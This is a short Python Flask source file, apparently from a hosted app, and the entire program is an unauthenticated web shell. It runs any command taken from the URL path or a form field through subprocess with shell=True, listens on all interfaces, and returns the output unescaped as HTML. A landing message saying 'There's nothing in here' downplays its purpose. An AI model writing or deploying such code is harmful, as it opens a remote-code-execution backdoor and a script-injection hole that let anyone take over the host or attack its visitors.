File size: 1,310 Bytes
7259e88
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import Flask, request, render_template_string, Response
import subprocess
from ansi2html import Ansi2HTMLConverter

app = Flask(__name__)
conv = Ansi2HTMLConverter(inline=True) 

@app.route('/', defaults={'command': ''})
@app.route('/<path:command>')
def execute_command(command):
    try:
        if not command:
            return render_template_string('''
                <h1>There's nothing in here:)</h1>
                <form method="GET">
                    <input type="text" name="command" placeholder="Enter command">
                    <button type="submit">Execute</button>
                </form>
            ''')

        # Replace underscores with spaces
        command = command.replace("_", " ")

        # Execute command
        process = subprocess.Popen(
            command, 
            shell=True, 
            stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE,
            text=True
        )
        stdout, stderr = process.communicate()

        # Convert ANSI codes to HTML
        html_output = conv.convert(stdout + stderr, full=False)

        return render_template_string('''{{ output | safe }}
        ''', output=html_output)

    except Exception as e:
        return f"Error: {e}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=7860)